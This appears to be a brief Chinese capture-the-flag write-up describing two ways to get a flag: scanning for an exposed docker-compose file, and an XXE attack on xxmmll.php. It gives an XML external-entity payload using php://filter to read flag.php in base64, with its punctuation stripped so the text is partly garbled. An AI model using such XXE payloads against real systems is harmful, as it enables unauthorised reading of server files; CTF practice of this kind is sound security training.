非预期解直接扫到部署的docker-compose配置文件拿到flag预期解在返回包中出现xxmmll.php访问很明显的XXE提示输入下面内容读取flag?xml version 1.0 encodingutf-8? !DOCTYPE xxe [ !ELEMENT name ANY !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourceflag.php ] namexxe;/name